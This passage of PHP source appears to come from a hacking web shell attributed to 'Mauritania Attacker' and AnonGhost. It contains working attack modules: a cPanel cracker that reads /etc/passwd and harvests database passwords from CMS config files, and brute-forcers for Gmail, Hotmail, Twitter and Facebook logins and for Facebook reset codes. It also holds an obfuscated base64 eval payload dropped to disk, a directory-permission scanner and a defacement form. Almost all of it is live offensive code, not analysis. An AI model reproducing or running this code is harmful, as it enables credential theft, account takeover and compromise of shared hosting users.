  2737. <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
  2738. Deface Page: <br>
  2739. <input type='text' name='deface' placeholder='http://www.web-yang-udah-di-deface.com/filemu.php' style='width: 450px;'><br>
  2740. USER: <br>
  2741. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  2742. $_usercp = fopen("/etc/passwd","r");
  2743. while($getu = fgets($_usercp)) {
  2744. if($getu == '' || !$_usercp) {
  2745. echo "<font color=#ff0066>Can't read /etc/passwd</font>";
  2746. } else {
  2747. preg_match_all("/(.*?):x:/", $getu, $u);
  2748. foreach($u[1] as $user_cp) {
  2749. if(is_dir("/home/$user_cp/public_html")) {
  2750. echo "$user_cpn";
  2751. }
  2752. }
  2753. }
  2754. }
  2755. echo "</textarea><br>
  2756. PASS: <br>
  2757. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  2758. function cp_pass($dir) {
  2759. $pass = "";
  2760. $dira = scandir($dir);
  2761. foreach($dira as $dirb) {
  2762. if(!is_file("$dir/$dirb")) continue;
  2763. $ambil = file_get_contents("$dir/$dirb");
  2764. if(preg_match("/WordPress/", $ambil)) {
  2765. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."n";
  2766. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  2767. $pass .= ambilkata($ambil,"password = '","'")."n";
  2768. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  2769. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."n";
  2770. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  2771. $pass .= ambilkata($ambil,'password = "','"')."n";
  2772. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  2773. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."n";
  2774. } elseif(preg_match("/client/", $ambil)) {
  2775. preg_match("/password=(.*)/", $ambil, $pass1);
  2776. $pass .= $pass1[1]."n";
  2777. if(preg_match('/"/', $pass1[1])) {
  2778. $pass1[1] = str_replace('"', "", $pass1[1]);
  2779. $pass .= $pass1[1]."n";
  2780. }
  2781. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  2782. $pass .= ambilkata($ambil,"db_password = '","'")."n";
  2783. }
  2784. }
  2785. echo $pass;
  2786. }
  2787. $cp_pass = cp_pass($dir);
  2788. echo $cp_pass;
  2789. echo "</textarea><br>
  2790. <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
  2791. </form>
  2792. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  2793. }
  2794. }
  2795. ////////////////////// APACHE ////////////////////
  2796. elseif(isset($_GET['x']) && ($_GET['x'] == 'cpcrack'))
  2797. {
  2798. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>CPanel Crack</span><br><div class=content>";
  2799. if($_POST['crack']) {
  2800. $usercp = explode("rn", $_POST['user_cp']);
  2801. $passcp = explode("rn", $_POST['pass_cp']);
  2802. $i = 0;
  2803. foreach($usercp as $ucp) {
  2804. foreach($passcp as $pcp) {
  2805. if(@mysql_connect('localhost', $ucp, $pcp)) {
  2806. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  2807. } else {
  2808. $_SESSION[$ucp] = "1";
  2809. $_SESSION[$pcp] = "1";
  2810. if($ucp == '' || $pcp == '') {
  2811.  
  2812. } else {
  2813. $i++;
  2814. if(function_exists('posix_getpwuid')) {
  2815. $domain_cp = file_get_contents("/etc/named.conf");
  2816. if($domain_cp == '') {
  2817. $dom = "<font color=#ff0066>gabisa ambil nama domain nya</font>";
  2818. } else {
  2819. preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  2820. foreach($domains_cp[1] as $dj) {
  2821. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  2822. $user_cp_url = $user_cp_url['name'];
  2823. if($user_cp_url == $ucp) {
  2824. $dom = "<a href='http://$dj/' target='_blank'><font color=#ff0066>$dj</font></a>";
  2825. break;
  2826. }
  2827. }
  2828. }
  2829. } else {
  2830. $dom = "<font color=#ff0066>function is Disable by system</font>";
  2831. }
  2832. echo "username (<font color=#ff0066>$ucp</font>) password (<font color=#ff0066>$pcp</font>) domain ($dom)<br>";
  2833. }
  2834. }
  2835. }
  2836. }
  2837. }
  2838. if($i == 0) {
  2839. } else {
  2840. echo "<br>sukses nyolong ".$i." Cpanel by <font color=#ff0066>Security Ghost</font>";
  2841. }
  2842. } else {
  2843. echo "<center>
  2844. <form method='post'>
  2845. USER: <br>
  2846. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  2847. $_usercp = fopen("/etc/passwd","r");
  2848. while($getu = fgets($_usercp)) {
  2849. if($getu == '' || !$_usercp) {
  2850. echo "<font color=#ff0066>Can't read /etc/passwd</font>";
  2851. } else {
  2852. preg_match_all("/(.*?):x:/", $getu, $u);
  2853. foreach($u[1] as $user_cp) {
  2854. if(is_dir("/home/$user_cp/public_html")) {
  2855. echo "$user_cpn";
  2856. }
  2857. }
  2858. }
  2859. }
  2860. echo "</textarea><br>
  2861. PASS: <br>
  2862. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  2863. function cp_pass($dir) {
  2864. $pass = "";
  2865. $dira = scandir($dir);
  2866. foreach($dira as $dirb) {
  2867. if(!is_file("$dir/$dirb")) continue;
  2868. $ambil = file_get_contents("$dir/$dirb");
  2869. if(preg_match("/WordPress/", $ambil)) {
  2870. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."n";
  2871. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  2872. $pass .= ambilkata($ambil,"password = '","'")."n";
  2873. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  2874. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."n";
  2875. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  2876. $pass .= ambilkata($ambil,'password = "','"')."n";
  2877. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  2878. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."n";
  2879. } elseif(preg_match("/client/", $ambil)) {
  2880. preg_match("/password=(.*)/", $ambil, $pass1);
  2881. $pass .= $pass1[1]."n";
  2882. if(preg_match('/"/', $pass1[1])) {
  2883. $pass1[1] = str_replace('"', "", $pass1[1]);
  2884. $pass .= $pass1[1]."n";
  2885. }
  2886. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  2887. $pass .= ambilkata($ambil,"db_password = '","'")."n";
  2888. }
  2889. }
  2890. echo $pass;
  2891. }
  2892. $cp_pass = cp_pass($dir);
  2893. echo $cp_pass;
  2894. echo "</textarea><br>
  2895. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  2896. </form>
  2897. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  2898. }
  2899. }
  2900. ////////////////////// APACHE ////////////////////
  2901. elseif(isset($_GET['x']) && ($_GET['x'] == 'gmail'))
  2902. {
  2903. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Gmail & Hotmail Brute Force</span><br><div class=content>";
  2904. set_time_limit(0);
  2905. error_reporting(0);
  2906.  
  2907. class s1{
  2908.  
  2909. private $adres = array(
  2910. 'gmail' => '{imap.gmail.com:993/imap/ssl}',
  2911. 'hotmail' => '{pop3.live.com:995/pop3/ssl}'
  2912. );
  2913. private $imap;
  2914. function __construct($gelen1,$gelen2){
  2915.  
  2916. $uname = explode("rn",$gelen1);
  2917. $pwd = explode("rn",$gelen2);
  2918. foreach($pwd as $pass){
  2919. $pass = trim($pass);
  2920. foreach($uname as $user){
  2921. $user = trim($user);
  2922.  
  2923. if(preg_match('@gmail@si',$user)){
  2924. $this->baglan($this->adres["gmail"],$user,$pass);
  2925. }else{
  2926. $this->baglan($this->adres["hotmail"],$user,$pass);
  2927. }
  2928. }
  2929. }
  2930. }
  2931.  
  2932. public function baglan($url,$user,$pass){
  2933.  
  2934. $this->imap = imap_open($url,$user,$pass);
  2935. if($this->imap){
  2936. echo "<span id='cikti' >$user => $pass </span><br />";
  2937. }
  2938. }
  2939. function __destruct(){
  2940.  
  2941. imap_close($this->imap);
  2942.  
  2943. }
  2944. }
  2945.  
  2946. echo '<br /> <center><div id="form">
  2947. <form id="form" method="POST" >
  2948. <textarea class="area" name="mail" rows="20" cols="28">Put Emails You Want To Cracker here ^_^</textarea>
  2949. <textarea class="area" name="sifre" rows="20" cols="28">Put Your Password List Here ^_^</textarea> <br /> <br />
  2950. <input type="submit" id="submit" value="Brute !" />
  2951. </form><br>
  2952. </div>
  2953. <div id="sonuc"> ';
  2954.  
  2955.  
  2956. if($_POST){
  2957. $mails = $_POST["mail"];
  2958. $sifre = $_POST["sifre"];
  2959.  
  2960. if((isset($mails)) and (isset($sifre))){
  2961. $s1 = new s1($mails,$sifre);
  2962. }
  2963. }
  2964. echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker & Fixed by Kaizen</font></p>";
  2965. echo '</center></div> ';
  2966. }
  2967. ////////////////////// APACHE ////////////////////
  2968. elseif(isset($_GET['x']) && ($_GET['x'] == 'skype'))
  2969. {
  2970. $agsky ='PD9waHANCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnJMcnVTNEVVVDNCdndQalVZdjdNMmdKQ1pKQ1kzNWs5clVjK1cxMFo5dk1YaUMxSzB4R3BoRjRWNnBLRDd5RVJHWnFoKy9IdS9IODl1M1AvNzg5djM2cTE2T3ozcjlWZkx4cWRkZitUMnYyM2ZsY1h5VzQ1UDZ2WFU3UHNmMzZ6RnVmUjJmVy85ZjM3WDdqLzQzSDMvck1UYVY0NU5QMTdYZisvTDk4dlU2MHVuNm1DdHRIK1ByMS9uaTQvbTBmOHlYUDc0dnYxbnZjejl0di9HYjgveS8vWDJlLzNPK3ovWE84NldQL2FXUDlZK3g4V20vMysydi9IVzl2L1U4NTF1UGZkZkQxL240dmh6M1l1dDJxN25QSDN1ZnR4eWYydXgvZkYranoxRmVQUE04cmc5YnhIR2RpSzBjek5QbXp0MVhXci9OZjhSVlB1YXFiZjRXaysvK1hSdGJ2QmYyNjNPMldHeHp0UFgwWFBReGl1L2NmYUY0SUw3YmMyMVBpdkcxNTBDN1Y0SzFtaTlyWDN0MWJ0eTVsMWg3Ny9mYVdUUHh0OTc3WFBFZ1YrNTlMem4xY2UyNjNjOFg3RWRzeUY2NW4xM2ZiL2huWlk0YjU5bjYzRnFiZTdxT2J0UG1NOW03OUxsem1iR3UvSWcrdCt5MVlzZm9lMnpyYU15bDI3ck5HOWhZNThyZEwrVjh2Y3p4MnZNRis3WjFib3hML0dWTVBaMnQ3VlBueGE0K3YzTHJnbTFXN1BQdTV5OWwycTZ5aDNiZGZPZHJ4ZDZkL2V6OXV2bStyVnM1UTV0ZjUxbkJ1K2puc0QvYlhMSmw0S2U5MzIveHJoaVB2ajg5UzE2ME04Z213Ym1XdVllMm52ejE0blB2TWFpOXR6MC95U09lYjdabzM5bVg4dTJyNzZuWmRweHQ3K3RYOXFaelI0L0Q1b3NBZTFvTzZOcTVzekxmZzcrTWFYYk81STdzY2VzNXBYTlYxdC9KcVRydEtMekpmZi9OZG0xdnpnblpadTgrVi80WDRuY0ZJNXhQdGMvVjVwV2ROODRSeE9rYnV5d25yTW5rSmpIUXZ2Y3piUjdaOXRibjFmNGRsOHhoYnFyTEtkOHIrZkhvZGkzNFFuYmIram9GSHl2MkwrRGx1L3RLKzNqTm1KR3RiOWlJZk1pY3Zmazk4R0dMaVhhV0FNOTBabU1oMkNjY2ZJSkpUL3ovNk04bThsRTRiV3dMOElQbmpQMk9peFdiTmgrMVp4b1dpTXRPKzNFZUdrdGJMQVFhSWRBUWJYNWp0K0x3eVp5dmJqZjU2RWFNYmYxTWxieXY4SnZ5RTc5WE9GNDQ1dmd4SjVBM0drZmNCUG5Xdmg5Y3RLTm5tS3ZnL3hFWG5vKzR5VjR6WThOdGptL3gwZndtN1VSdWFUM21sZC93Y3pVbitoeWw1NnR0ckpnRGo5dXptaGVmdEJ3cWNGZ2JvL2tmSjgxRHJ2VjF2Ly84NXo5Ky9GcTIvTEMyVTc0NVR1N2c1aE9mUnNkQytYeUJHKzVnNllXNGd2TVROa3JZckdEZmJPMTBtL252Y2NxTnhMcXBuMW5qRWptMGRUL0szNEVQSHZqakNhZkFJNG9aNS9DS0pzam9odVhyR01YbmpqK01hUVZleDc5alh5KzREandWMWo3d1cySS8rRTZ4bTNxOHBtM0daeUsvNWR1RWpiaHZ6TWhvb2tvc09VZU4wVzFOYzV3NVRCcG83WHRzZVMrZTlMMkN2YTFWVGpIblhLbndrYkVvd3p2SzBRYzJEckM5ZGg5a3RGY0JBeklZbk1HVmhLK1VHOFNDT1BtQy9WYk94Yjd6ZHRyTEV6dGNKaTVXL0N1L1drYysrdnptSjJOVHdOZlNqZThUWG9CTjR1cVQ3UlNEQ3hyT3R0dUo1UXhtR1FQS3pMOWl6Q3Z3eTRZZDBCZ0ZqU1NNdS9XNWRaWUsxNWdEbGhPLzdIQjU2Zk1aTHhJYVRqWXpCaTNnYXBuNElvNkEzOW85WHd2MzJLOXkrM0VkbWlCZjVua0MzUkxXUHN5cldEV21saGtQMW5lVi9ZdDNzSWxpNDhsOGFEZjUyYno1Z09Pc0RhekZLM2x5Njk4bGRJNXRXY0NHUUY5b0QvQ2s4Q1p6ZnNjRWZuVzlKWnRhUTdpbTJEa3puS0cxMlV0MUhZTUdFWi9VSHJmdFk5elcyU3YvUDN0TXlPZlA2OUNTNHJuM2pEbkZpK1BJdFF4NEtQNG10dVF6ZU1tMmJOZXlILzluL09PNjEvbGMwUTdKdWpuTmVBaTAvOUN1TCtiZDBHU1hQdDQxZ0dLVldzR2FSdWNrRm9xNTc5bnpUSnhSSjhjR21sTzVDUVpiNzhjNlk3YmE1MHMvWTRJcml2VmJtZlpQNkhHZGErM3hON0RuUGpFb20vTmRKNkRWRTF5VTBaVE9jOFVUOFNlZmdGbUtPZWZVQXU4Uk4wRytGZXBUMjAxK0JvT0VEK2dSOFMyYVJySHhCUDl2cDFqY2lFZkdKbmloMEZzcDZEMWpxZmlIV3RvNlZmeXhuT0tFZWlmZ20wenRsY2tYM2JldWVhTTdxSDJGTlQ0Zk5aVjAycVhIc001QS9CYm1LZFR4cmlzcnVxemxjclZXM1pnL3NBLzFrWEpqQmR1TmRYQmt6VE4vekMrcUI2aDc2elk1V2ZQdFBZOXJtYndpdmdCSFpTUFhxZGl6T0I1dmFJaTEreUZUZjdjenl3L0dwUWY3Qzg0TTF3Zzc5cjZHOTJDT2pUcDVxVnFEWEs1RG40NTZqZmdKOGtXMnhCOUozTisxM2JiRjBIYXVDNFZCZS9lejZ3ZHpsalRJRzR3R1Q2d0ZBbDliLzZ6a1FDWVBoYjFiSDZNNGRvMVlpSUYzSDFQUmJxN1RoUW5XNzl0MTF0clV1NW1hZXZSRDRFUDNiNXE5RTNWMVJtc1hiQ2RNdTNRYkpmUkpSWTlWcmd1OUJNZC9kWXhSbStSVERTL3NKd2JFYTNmMmhmMkVYMXlQUGg3OUUrdmxzcC93aG53ckhndC9wbFBmSXBIZnJxdXo4WUo0RGJpem9JT3N3NFBlZ0dOKzlEWXFlR3d0QkdhV1UreXJmbkF2ejd6aFB0QlpkKzNFMFAwNitselNTVGZPdWVCVE1OOWNQV3FqaFRPeWJnYkR4R2RsK3JqQ3RjcWRrOTRvNUwzcksyRVp1cXE0N2tPTEZYUys2d2lkK2RYM3NPTExRajNyMnFLU0orb3J1YTV6WFgwQkw1ZXBCUk84N0I2R2ZFTGQ2cHJiL1l0a1RiZVE5OVlTeit2b2pZVzVxckxuak0zUUVjSVBzRm5YZDNKdG5Ud21QdDdaTit0bjR5dDVhMDBjakZOTmhQMFNQRmZkNzBMdm0vc3JkYm81eDMzR0lPWnR3d3gvWmJSMldCdHpIc2VpKzZjWnJhVjhkTytnb0QvYzY4VnVsZDZlWXRJODRGd3VVNHVvbHdNT0IxaHRqYXJZQlUrQzlTdTVPYlFBK1NjOWdFN0xhRXp4QXoyclNyMHMvQy9FQWJyQWZlYU1ud0svSmZBcmJkTld5cVBYNUVUbEIxd2hET1I4bVpoUDFpZlUyTVUyUXJzV2RHNW1uR3ViMFF1alRrM1dVUFFUN0I5aGF5VlB5SzEwbVRtWTNkKzZYWWRHcy82eHRxbm9sb3gyRTgrNExuU2RiSjNtWERKbTNmQVR2bEFPZ3ZuU0tQQnFvYi91dnJmckFOa2NIdzVlTno3Y1RybEFyZU96dXdZU3hzQmIxWnA4N2Z0eVhSRm80N0IyTStZOTRhRUxzVWdNVnZTNis0bURJMlBtbnVhSE4vWDl5YmRwbnpraDdNL1lrWHhKeGhockl6U05jVHl4bG10NTVTcTQ3aDZzOU00cG50MmZyZGI5MUhxVmVEYWV1MjUxLzkzMTB1QU9jaVdJdVhCZVg0Z0o2dnBLTDZZU2x3VitrR1l5ZDZGTlhLTzVSK1MrU0xYK2gwY1NlYWQ5SnZiaHVocU5yZjRsbWxwWTVCN05hV3pRenpGditCMmNlbGZPZS82bU9uWFY2TVY2UCs3bFVKc0hmamVuQi9rWGU5ZDI5OGpGMms1MlBNMlRqRXV1RSs3elBZcDBXNWthd1AwVzRUczZyZElmY3EyVnFHVmNnMlhYUlBScmJQdGhkM0ovdk50Y1p4Nk4zcTM1OUVVK3ZDYzJDS3VJTTluaWRSM3ZhWDFkNGNpRS94VERyc1hvSFF3L1BycTlnL281bVEvQjlwVzZSVDdKTTZhY040RTJGaDQrcitOOVJHQzNBRDhjejhJM05LcjBIM3Fzb2plMU56REI5YnJqSm96bjF0d0JweGtMVi9hUC90Yi90NGwxd295Rm1zTjlBdHNKYnZVZVZyUys4aUN1b3pkay9ncDQwWDB2MTl1dXY1UUR4bkI4R0dueWdYdWh4anh6YndhclYzenBlc2k1TmZycjhFMjRuMExOYUYxaExuVmZ6TFZ5dWM5blhlOXBmL2ZyZUI4OE5CZm5XKzhUUDZxeEZNMGsyMXZiZ1N1ZVArV1RQcndUeTJqMDFab1N6SE0vWmVnbzkxQ0lKZUhKNHpwNk1ObDYyNzBleG1WeU5Sc2pyZHRjV3o5T21BbS91Yy9wbWw3MnFQTVp4YUUxQjM0TmJGV3NCK2tuT0Nka3cweXRnQStWNy9qYmU1VmQwRGpTUHB6TDd3R3FjMm1aTnNqa2dmQ0VHaWRUMzBwanZPQVY3NkhPM0hadnpocFh1RVF0TlhvTGNKOXk3elk1Y2ZTODNhTzBIdVozTHhYTXo5U0gxZThHd2Y2QnFXVmljaVYzckdPVHNjRHh2VnpIK3cvRkVyNFRCOUsvZGorem5MaDc5Q2poYk5jYW8zWkZwNmltQ1BZQzVsWHFDL2NCelRkNmowbE9hRzMyRWRRZVFReXAzNDB0L1M1emFFam5hYjJPdmtnbEp2eC9kWTE1MHBQU0ZLZmVxUHZYeGRvbDlYRkJIWkdwUmRRN0F4ODBGMXdWMUxBRkh3c0hDdnBpbXpZcTFya0xQRWR0cVZxV3VqMjVubkkrdnliV0ttL01UZWlIb003MHV3S2R3ejZMNit5OWdOUFcvcU5uaFA3TTlFWmMrMHBUbFlsbmhYb3V3ekYrL3lxTUpPZmRvM1Y5TUdwTk1NdDFoZnZpQlgvcS9PL3IrTDFPb3Zid08zejNVNVRycFgrRy9SZldnRWVNajM3bk9uNlhSSC9IZmNaTXJQbGRvOStqV0FmNlhjWGdhOWRHektsejdwTkxqVzJSVHZGVytzZDljZG1aMzU0a2NqRTkrMitZdnZ5dWFmOGIxNm5qNVBrM2J2cTB2ZDIvLzN6OTkvYWZmLzNvUDYzNzR4dnZZZHMvYXRxMWY1ckMrL2ZQL3dFPSdceDI5XHgyOVx4MjlceDNCIiwiIik7DQo/Pg==';
  2971. $file = fopen("agsky.php" ,"w+");
  2972. $write = fwrite ($file ,base64_decode($agsky)); fclose($file); chmod("agsky.php",0755); echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>AnonGhost Skype Brute Force</span><br><div class=content><iframe src=agsky.php width=75% height=60% frameborder=0></iframe>"; }
  2973. ////////////////////// TWITER ////////////////////
  2974. elseif(isset($_GET['x']) && ($_GET['x'] == 'twitter'))
  2975. {
  2976. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Twitter Multi-Account BruteForce</span><br><br><div class=content>
  2977. <textarea cols='22' class='area' rows='14' name='username'>Username</textarea>
  2978. <textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br><br><input type='submit' value='Attack Now'><br></p><br>";
  2979. if($_POST['username'] and $_POST['password']){
  2980. #function
  2981. function brute($user,$pass)
  2982. {
  2983. $ch = curl_init();
  2984. curl_setopt($ch, CURLOPT_URL, "https://twitter.com/intent/session/");
  2985. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  2986. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2987. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2988. curl_setopt($ch, CURLOPT_POSTFIELDS, "authenticity_token=&session[username_or_email]={$user}&session[password]={$pass}&remember_me=1");
  2989. curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/34.0.1847.116"); #change with your real useragent plz
  2990.  
  2991. # cURL - Brute Users & Password
  2992. $login = curl_exec($ch);
  2993. if(eregi("error notice", $login)){
  2994.  
  2995.  
  2996. echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : Username : <font color='red'>$user</font>&nbsp; Incorrect Password =====>: <font color='red'>$pass</font></font></p>";
  2997. }else{
  2998. echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>[+] : [+] CRACKED SUCCESSFULLY [+]Username : <font color='green'>$user</font>&nbsp; GOOD PASSWORD =====>: <font color='green'>$pass</font></font></p>";
  2999. }
  3000. }
  3001. # POSTS
  3002. $username = explode("n", $_POST['username']);
  3003. $password = explode("n", $_POST['password']);
  3004.  
  3005. # Foreach Users N' Textarea
  3006. foreach($username as $users) {
  3007. $users = @trim($users);
  3008. foreach($password as $pass) {
  3009. $pass = @trim($pass);
  3010. brute($users,$pass); }}
  3011. # cURL
  3012.  
  3013. }
  3014. echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Coded By : Mauritania Attacker & Kaizen</font></p>";
  3015. }
  3016. ////////////////////// FACEBOOK ////////////////////
  3017. elseif(isset($_GET['x']) && ($_GET['x'] == 'fb'))
  3018. {
  3019. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Facebook Priv8 Exploit</span><br><br><div class=content>"; ?>
  3020. <a href="?<?php echo "path=".$path; ?>&amp;x=respwdvic"><input class=bordergaya type=submit value="Reset Password Victim" /></a>
  3021. Or <a href="?<?php echo "path=".$path; ?>&amp;x=brutfbckk"><input class=bordergaya type=submit value="Facebook Multi-Account BruteForce" /></a>
  3022. <br/><br/><br/><br/>
  3023. <?php
  3024. exit();
  3025. }
  3026. ////////////////////////////////////////
  3027. ///////////////////////////////////////
  3028. elseif(isset($_GET['x']) && ($_GET['x'] == 'respwdvic')) {
  3029. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Reset Password Victim</span><br><div class=content>
  3030. <p align='center'>
  3031. <img border='0' src='https://www.techworm.net/wp-content/uploads/2015/02/Facebook-Spy-updatec_com.jpg' ></p>
  3032. <center><font color='#58FAF4'> Use Tor Switcher and Choose Threads Ip ===> 3 seconds and Good Hack ^_^</center>
  3033. <style>
  3034. /* Rounded Corners */
  3035. #ghost {
  3036. border: 1px #765942;
  3037. border-radius: 4px;
  3038. height: 250px;
  3039. width: 260px;
  3040. color: #999999; font-size: 9pt; background-color:transparent; box-shadow: 0px 0px 4px #999999; padding: 3px; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: rgb(228, 228, 228) 0px 0px 4px; -moz-box-shadow: rgb(228, 228, 228) 0px 0px 4px;
  3041. }
  3042. input {
  3043. /* INPUTS */
  3044. border: 1px solid #765942;
  3045. border-radius: 4px; }
  3046. </style>
  3047. <center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Facebook 0day Exploit Reset Code Priv8</span></center><br>
  3048. <center><font color='#58FAF4'>Coded By Mauritania Attacker</center><br>
  3049. <center><input type='text' size='40' name='id' value='Target ID' ></center><br>
  3050. <center><textarea class='area' cols='35' rows='13' name='code'></textarea><br></center> <br>
  3051. <p><center><input type='submit' value='Crack Reset Code' name='scan'><br><br></center></p>
  3052. </form>";
  3053. $target = $_POST['id'];
  3054. $user = explode("rn", $_POST['code']);
  3055. if($_POST['scan'])
  3056. {
  3057. foreach($user as $code)
  3058. {
  3059. // Curl Function ^_^
  3060. $ch = curl_init();
  3061. curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/recover/password?u={$id}&n={$code}&_rdr");
  3062. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  3063. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3064. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  3065. curl_setopt($ch, CURLOPT_HEADER, 1);
  3066. curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/35.0.1916.114"); // change this with your real useragent infos (browser & version)
  3067.  
  3068. $check = curl_exec($ch);
  3069. if(eregi("password_new", $check)) //Keyword Good Response ^_^
  3070. {
  3071. echo "<center><b><font face='Tahoma' size='2' color='green'>{$code} => Facebook Confirmation Code Found ^_^ </font></center></b><br>";
  3072. }
  3073. else
  3074. {
  3075. echo "<center><b><font face='Tahoma' size='2' color='red'>{$code} => Incorrect Code Trying More...</font></center></b><br>";
  3076. }
  3077. curl_close($ch);
  3078. }
  3079. }
  3080. }
  3081. ////////////////////////////////////////
  3082. elseif(isset($_GET['x']) && ($_GET['x'] == 'brutfbckk')) {
  3083. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'>Facebook Multi-Account BruteForce</span><br><div class=content>
  3084.  
  3085. <center>Dont use this script without TOR BROWSER + TOR SWITCHER (set up the interval seconds from TOR SWITCHER TO 2 SECONDS)</center><br>
  3086. <p dir='ltr' align='center'>
  3087. <textarea cols='22' class='area' rows='14' name='username'>Target Name</textarea>
  3088. <textarea cols='22' class='area' rows='14' name='password'>Password</textarea><br>
  3089. <br>
  3090. <input type='submit' name='scan' value='Start BruteForce'><br></p><br>";
  3091. if(isset($_POST['scan'])){
  3092. #function
  3093. function brute($user,$pass){
  3094. $ch = curl_init();
  3095. curl_setopt($ch, CURLOPT_URL, "https://m.facebook.com/login.php?login_attempt=1");
  3096. curl_setopt($ch, CURLOPT_HEADER, 0);
  3097. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  3098. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  3099. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  3100. curl_setopt($ch, CURLOPT_POSTFIELDS, "email={$user}&pass={$pass}");
  3101. curl_setopt($ch, CURLOPT_USERAGENT, "Chrome/36.0.1985.125");
  3102. $login = curl_exec($ch);
  3103. //print_r($login);
  3104. $check = (eregi('class="s t i u"',$login)) ? true:false;
  3105. if($check == true){
  3106. echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>Not the right one :( || Username : <font color='red'>$user</font>&nbsp; Password : <font color='red'>$pass</font></font></p>";
  3107. }else{
  3108. echo "<p align='center' dir='ltr'><font face='Tahoma' size='2'>This Password Seems Working !Try It ^_^ || Username: <font color='green'>$user</font>&nbsp; Password : <font color='green'>$pass</font></font></p>";
  3109. }
  3110. }
  3111.  
  3112.  
  3113.  
  3114.  
  3115. $username = explode("n", $_POST['username']);
  3116. $password = explode("n", $_POST['password']);
  3117.  
  3118.  
  3119. foreach($username as $users) {
  3120. $users = @trim($users);
  3121. foreach($password as $pass) {
  3122. $pass = @trim($pass);
  3123. echo brute($users,$pass);
  3124. }
  3125. }
  3126. }
  3127. echo"<br>
  3128. <br>
  3129. <br>
  3130. <br>
  3131. <center><p><b><font size='2' face='Trebuchet MS' color='#58FAF4'>Coded by: Mauritania Attacker&Noname-Hax0r&Kaizen</font></b></p></center>";
  3132. }
  3133. ////////////////////// FINDIR ////////////////////
  3134. elseif(isset($_GET['x']) && ($_GET['x'] == 'finddir'))
  3135. {
  3136. echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:white'><b>Find Directory Writable/Readable</span><br><div class=content>"; function read_dir($path) { global $count; if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $dr="$path$file/"; if (($file!='.') and ($file!='..') and is_dir($dr)) { if (is_readable($dr) and is_writeable($dr)) { echo "[RW] " . $dr . "<br>nr"; $count++; } read_dir($dr); }}}} $count=0; set_time_limit(0); @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "[-] No Access to /etc/passwdnr"; exit;} $path_to_public=array(); echo "<html>nr"; while(!feof($passwd)) { $str=fgets($passwd); $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($path_to_public,$dirz); if (is_writeable($dirz)) { $count++; echo "<font color=white>[</font><font 